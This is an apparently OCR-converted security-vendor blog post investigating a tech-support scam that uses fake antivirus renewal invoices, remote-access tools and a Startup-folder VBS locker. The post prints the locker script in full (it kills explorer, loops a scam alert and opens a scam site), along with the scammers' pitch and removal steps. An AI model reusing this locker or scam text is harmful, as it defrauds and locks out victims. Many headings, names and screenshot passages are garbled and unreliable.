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Threat Intelligence Team March 24, 2021

We’ve been tracking a fraudulent scheme involving renewal notifications for several months
now. It came to our attention because the Malwarebytes brand as well as other popular
names were being used to send fake invoices via email.

The concept is simple but effective. You receive an invoice for a product you may or may not
have used in the past for an usually high amount. Feeling upset or annoyed you call the
phone number provided to dispute the charge and ask for your money back.

That was your first mistake. The second is letting strangers access your computer remotely
for them to uninstall the product in order to avoid the charge. Before you know it your
computer is locked and displaying random popups.

In this blog, we follow the trail from victim to scammer and identify one group running this
shady business practice.

)DNH UHQHZDO QRWLILFDWLRQV

We've received a number of similar reports from people that have been scammed or simply
wanted to alert us. It starts from an email using branding from a number of security
companies, although in this blog we will focus on those that impersonate Malwarebytes.
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The email includes an invoice renewal for the product stating that it has already been
processed via credit card. The amount usually is in the $300 to $500 range, which is a lot
more than what we normally charge.

™Malwarebytes

Dear Customer!
Thank You

Your Subscription for MalwareBytes 4.0 Security has been renewed.

\

INVOICE ID: |

e

Ticket Num :-
Renewal Date :- | March 01, 2021
Items :- | MalwareBytes 4.0 Security
Price :- | $340.00 USD
Pavment mode :- | Visa'master (Auto debit)

NEXT YEARLY SUBSCRIPTION AUTO RENEWS ON March 01, 2022

CUSTOMER HELP-DESK : +1-8773732393
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Hey user

It has been a pleasure serving you. MalwareBytes takes pride in giving priority to
their customers and looking after their needs.

Your membership is now renewing. We hope you have enjoyed the previous plan
and want to rejoin for the exciting current plan.

You have been charged 399 USD for our service, It will now activate on MARCH 12,
2021.

DESCRIPTION \ \ PRICE
Subscription Fee \ s T 394.00 USD
Extra Taxes F \L - 5.00 USD
Total Amount 399.00 USD

Your Subscription is renewed . If you do not want to proceed with this you can call
us on (800) 674-5706 .

Thank You For Your Business!.

_ _ HEADQUARTERS
About us Privacy Terms or Services Malwarebytes Ltd.
One Albert Quay,
2nd Floor Cork T12 X8N6
©2020 Malwarebytes. All rights reserved. el
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MalwareBytes INVOICE

Dear Customer,
This 15 an invoice for yvour recent purchase. Thanks for using MalwareBytes Security.

Amount Due: 31228 TUSD
Paid on: 03/182021

Invoice No: ] Date: 03/18/2021
Description Subscription Amount
Virus & Threat Protection ea.ts\ \ \ 37.46
° Account Protection K&s . * - 46.07
Firewall & Network Protection F A Years 28T
App & Browser Control 3 Years 46.23
Device Control 3 Years 43.81
Total 312.28

It may take a few hours for this transaction to appear in your account.
If vou have any query regarding this invoice, simply reach cut to our support team at
Toll-Free Numhber +1 855 966 6888 for help.

Sincerely,
Malwarebytes Billing Team

MOTE: If thiz email was received in vour spam box, ask vour servics desk to verify machine idenfity.

Fleaze do not reply to this email. Thiz mailbox is not menitored, and vou will not receive a response .

The scammers are hoping victims will call them to dispute the automatic renewal. In the heat
of the moment, most people would not think to check their bank or credit card statement
instead.

This scheme is essentially a lead generation mechanism, just like what we see with fake
browser alerts (browlocks). It just happens to use a different delivery vector (email) and is
perhaps just as, if not more effective.

SHPRWH DFFHVV DQG VDOHV SLWEFK

Victims are instructed to visit a website to give the ‘technician’ access to their computer. The
reason given is that the service needs to be uninstalled first before a refund can be granted.

In this instance, the scammers asked us to visit zfix[.]Jtech, a website linking to a number of
remote access programs. They asked us to download TeamViewer and share the ID and
password so they could connect.
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Windows Help Desk Connect X IeH

< c @ © & wwwxzfixtech

B8 chN international (%) BMW 8 Series Gran ... [l Yahoo [l Yahoo Mail A Delta Airline Tickets &... () Windows Update Cent... D Noi

E—] TeamViewer

@ TeamViewer

QuickSupport

Allow Remote Control £+

Please tell your partner the fallowing 1D to
connect to your desktop:

Your ID

Password

Click To Connect

’ Cancel
WWW, Tﬂﬂ myIewer.com

@ Ready to connect (secure connection)

.- number:

.. Connect

They also quietly downloaded and installed another program (SupRemo) to maintain
unattended access. This means that even if you shutdown TeamViewer, the scammers can
still connect to your computer when they feel like it.
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&) supremo - X
Welcome to SupRemo

How to launch Supremo

Run Supremo O
Install Suprema [unattended access) @
Password

Confirm Password sesssanen

Mote: by starting the Supremeo connection you are allowing the remote
cantral of your computer/server.

Don't allow unknown people to get control of your machine.

Meither Nanosystems nor Microsoft contact inviduals offering unsolicited
support services or refunds. No legitimate company does that. If someone
calls you for these reasons he is a fraudster.

By clicking “Accept" you agree to the Supremo License Agreement
The next part of the scheme is interesting because it shows how the fraudsters are able to

extort money from their victims. Since the renewal email is fake they have to find a way to
trick you into paying them even if you refuse to.

AFFIRMATIVE HOWEVER LET ME EXPLAIN THINGS TO YOU IN SIMPLE TERMS FOR A QUICK UNDERSTANDING
ON ALL WINDOWS COMPUTERS ACROSS THE GLOBE THERE ARE TWO BASIC ESSENTIAL SERVICES THAT
COMES PRE LOADED OR FACTORY INSTALLED ONE IS THE WINDOWS FIREWALL & THE OTHER IS MS PRO
DEFENDER MALWARE SERVICE NOW THESE SERVICES HELPS YOUR DEVICE TO PICK UP UPDATES FROM THE
SERVER & SINCE IT IS SERVER BASED THIS WAS A FREE SERVICE BEFORE BUT SINCE TODAY MS IS UPGRADING
THEIR SERVICE PARAMETERS & SECURITY SO EXISTING CUSTOMERS LIKE YOU BAVE BEEN NOTIFIED TO
RENEW THE SERVICE MORE IMPORTANTLY THIS WOULD BE A ONE TIME RENEWAL WITH A LIFE TIME SUPPORT
& SERVICE & WOULD ENSURE YOU DO NOT GO THRU SIMILAR HASSLES AGAIN IN FUTURE SO PLEASE
UNDERSTAND THIS AS A SERVICE IS MANDATORY FOR YOUR DESKTOP & YOU HAVE BEEN NOTIFIED TO RENEW
THE SERVICE & YOU HAVE "NOT BEEN BILLED" FOR THE SERVICE YET, OKAY

| UNDERSTAND BUT I DO NOT WANT THIS. PLEASE REMOVE IT RIGHT NOW |

COPIED HOWEVER SIR | GUESS YOU UNDERSTAND UNINSTALLING THE PRO DEFENDER MAY EVENTUALLY
LEADTOTHIS DESKTOP NOT COMMUNICATING WITH THE SERVER & HENCE THIS DESKTOP MAY NOT WORK &
YOU MAY NOT BE ABLE TO USE THIS DESKTOP ANYMORE OKAY

The scammers take to their favorite tool, notepad, to start typing away about the risks of not

renewing the service. They particularly insist on the fact that the computer may not work
anymore if they proceed.

IRFNLQJ XS WKH PDFKLQH

Scammers have been known to lock victims’ machines on numerous occasions. They
typically use the SysKey Windows utility to put a password that only they know.
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In this case, they used a different technique. Working behind the scenes, they downloaded a

VBS script onto the machine which they placed into the Startup folder.

| J s | Startup

“ Home Share View
- 3.
* U oy Cut « X _I i1 Ne

W= Copy path f ] Eas
into Quick  Copy  Paste ) Move  Copy Delete Rename MNew
g my 0% complete — =
Mew
Mowving 1 item from Desktop to Startup
I Menu
0% complete 1" X
Date mc

~ | More details

n Home Share View
I3, I - Iy, -
* U o Cut * x -I i New item W B

W= Copy path T | Easy access ™
nto Quick Copy Paste . Mave Copy Delete Rename Mew Properties
acress 8] Pasteshortcut | yow  pyo - falder - é
Clipboard Organize MNew Oper
& S * AppData * Roaming * Microsoft » Windows » Start Menu * Programs * Startup
Fat
MName Type
o Quick access _
5| WIN LICENSE.vbs WBScript Script File
B Desktop + 5 P P —_—

¥ Downloads -+

“+| Documents -+
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| WIN LICENSE.vbs - Notepad — (] *

File Edit Format View Help
Set objScriptShell = CreateObject("Wscript.Shell") ~
objScriptShell.Run "taskkill /f /im explorer.exe", 8, true

Do

msghox " 'CRITICAL SYSTEM ALERT WARNING!!
---------- 1'!Your Microsoft Windows is out of
date!!! 1!l Your Windows License has
expired due to suspicious activities being detected on your device !!! (Call at

1-866-584-8882 to renew your windows license key and avoid further damages to your
device and misuse of your identity !!!

.......... CALL AT 1-866-584-8882
", vbSystemModal

Dim WscriptSchell
Set WscriptSchell = CreateObject("WScript.Shell")

WscriptSchell.Run "http://www.mapsnavigationhere.com/call-
nowl/microsoft/index.html™, 3

WScript.Sleep 1888

Loop v

Ln 13, Col 18 100%  Windows (CRLF) UTF-8
The Startup folder location is a loading point that can be abused easily because it can trigger

code to run when the system loads Windows. Unsurprisingly, before parting ways, the
scammers asked us to restart the machine to complete the uninstallation process.
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HCRITICAL SYSTEM ALERT WARNIMG!!

Mour Microsoft Windows is out of date!!!
I Your Windows License has expired due to suspicious
activities being detected on your device !!! Call at 1-266-504-0802 to
renew your windows license key and avoid further damages to your

device and misuse of your identity !!!

CALL AT 1-866-504-0802

After a restart, we see an alert dialog about the Windows license being out of date. This
message keeps on showing despite clicking the OK button and also starts to open a number
of browser windows to mimic some kind of malware infection.
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| L
’ , Firefox search contest 2021
*

You've made the 5-billionth search. % .

Congratulations! You may be our next lucky winner! - ' '
Our last winner was Brad Jenkins from Seat™ 2= who won a Samsung KI"I?Q'UIrra HD TV on Iy
14.05.2019 with his 5-bi lic\!ﬂh Search ) [
Every time the 5-billiontf| B X linter.

‘ *You may choose one of in ouk Hall of Fame
UCRITICAL SYSTEM ALERT WARNING!! L4

and receive a winrg's c|

i ¥our Microsoft Windaows is out of datel!!
’ Behind every box is a Pr 1! Your Windows License has expired due to suspicious
Fur technical reasons, | activities being detected on your device !l Call at 1-866-504-0802 to b than J5 minutes.
- renew your windows license key and avoid further damages to your
Choose o1 2 of the prize| device and misuse of your identity .

CALL AT 1-866-504-0802 .

I Recent Winners ¥ '
At this point, you might be tempted to call the number for help but this would end in paying
hundreds of dollars to fraudsters. There is a way to restore your computer safely which we
cover in the next section.

'LVDEOLQJ WKH ORFNLQJ VFULSW

The first thing to do is disconnect your machine from the Internet. If it's using a wired cord to
the modem unplug it, otherwise simply turn off the modem or your WiFi access point.

Then proceed to disable the script:

o Ctrl+Alt+Delete

o Select Task Manager

o Select Microsoft Windows Based Script Host
e Click ‘End task’
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L2 Task Manager

. Microsoft @ Windows Based Script Host

Mare details End task

HCRITICAL SYSTEM ALERT WARNING!

Wour Microsoft Windows is out of date!!!

M Your Windows License has expired due to suspicious
activities being detected on your device !!! Call at 1-866-504-0802 to
renew your windows license key and avoid further damages to your
device and misuse of your identity !!!

CALL AT 1-866-504-0802

oK |

Then delete the script:

o Click ‘More details’ (if needed) in Task Manager
e Choose ‘Run new task’
e Type explorer in the box
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L2 Task Manager

File Options View

Run new task App history Startup Users Details Services
Exit
a 24% 41%

Mame Status CPU Mermony
Apps (1)
Ly Task Manager 0% 155 MB
Background processes (39)
B Antimalware Service Executable 6.3% 109.4 MB
B COM Surrogate 0% 2.5 MB
& COM Surrogate 0% 1.7 MB
8 Cortana (2) @ 0% 2.4 MB
A CTF Loader 0% 2.9 MB

File Options View
Create new task X Pes
18%
Type the name of a program, folder, document, or
| ®5%  Internet resource, and Windows will open it for you. e
Open: explorer -
[ Create this task with administrative privileges. 0%
OK Cancel Browse... 0%
0%

Your Desktop will be visible again, allowing you to browse to:

& ?8VHUV?>\RXU XVHUQDPH@?$SS'DQYOGRZRDPWQUMLFURVR
OHQX?3URJUDPV?6WDUWXS

From there, delete the WIN LICENSE.vbs file

,GHQWLI\LQJ WKH VFDPPHUYV

We don’t always get too many details from scammers that could help us to identify who they
are, but sometimes with luck, skill and tools like HYAS Insight we can shed light on adversary
infrastructure. Here the scammers left a few trails with the VBS script but more importantly

12/16


https://blog.malwarebytes.com/wp-content/uploads/2021/03/explorer.png
https://www.hyas.com/hyas-insight

the first website we visited to download remote access software.

We were able to identify the registrant behind the ] I1L[> @dbohhblkas being $SPDQ 'HHS
6LQJK 6tbiwgithe DPDQ WHFKVTXDGRQ O L QGehhéildRdrese PivatifrgoR

the associated phone number > @ we uncovered a larger piece of their
scamming infrastructure as well as an associate named 6 ZLQGHU 6LQJK

Both individuals are registered as directors of a company in New Delhicalled / XFUR 6 RIW
located at 14/28, F/F SUBHASH NAGAR NEW DELHI West Delhi DL 110027.
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Lucro Soft Private Limited is a Private incorporated on 30 May 20158. It is classified as Non-govt company and is
registered at Registrar of Companies, Delhi. Its authorized share capital is Rs. 100,000 and its paid up capital is Rs.
100,000. It is inolved in Other service activities

Lucro Soft Private Limited's Annual General Meeting (AGM) was last held on 28 December 2019 and as per records
from Ministry of Corporate Affairs (MCA), its balance sheet was last filed on 31 March 2019.

Directors of Lucro Soft Private Limited are Aman Deep Singh Sethi and Swinder Singh.
Lucro Soft Private Limited's Corporate Identification Number is (CIN) U93000DL2018PTC324662 and its registration
number is 334662 1ts Emall address is aman.techsquadonline@gmail.com and its registered address is 14/28, F/F

SUBHASH MAGAR NEW DELHI West Delhi DL 110027 IN | -

Current status of Lucro Soft Private Limited is - Active.

13/16


https://blog.malwarebytes.com/wp-content/uploads/2021/03/map.png
https://blog.malwarebytes.com/wp-content/uploads/2021/03/company.png

Although this company was incorporated in 2018, the scammers have been active since at

least 2015 and used several different domain names and identities. We are blocking this

infrastructure and reporting it for takedown as well. If you would like more information about

this group, please get in touch with us.
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This particular scheme has been very active for the past few months and it is difficult to
estimate how many people fell victim to it.

Tech support scams have been around for many years and continue to be a huge problem in
part because of the lack of action on the field where they are known to take place.

However, there is also a strong community out there that is pursuing scammers and giving
back to victims. The likes of Jim Browning who made headlines for his hacking_into the
CCTV of a call centre are doing a tireless job. For this investigation, we used a Virtual
Machine that was made by @NeeP that mimics a normal user desktop.

If you are a Malwarebytes customer and have any questions about your renewal, please visit
our official page here.
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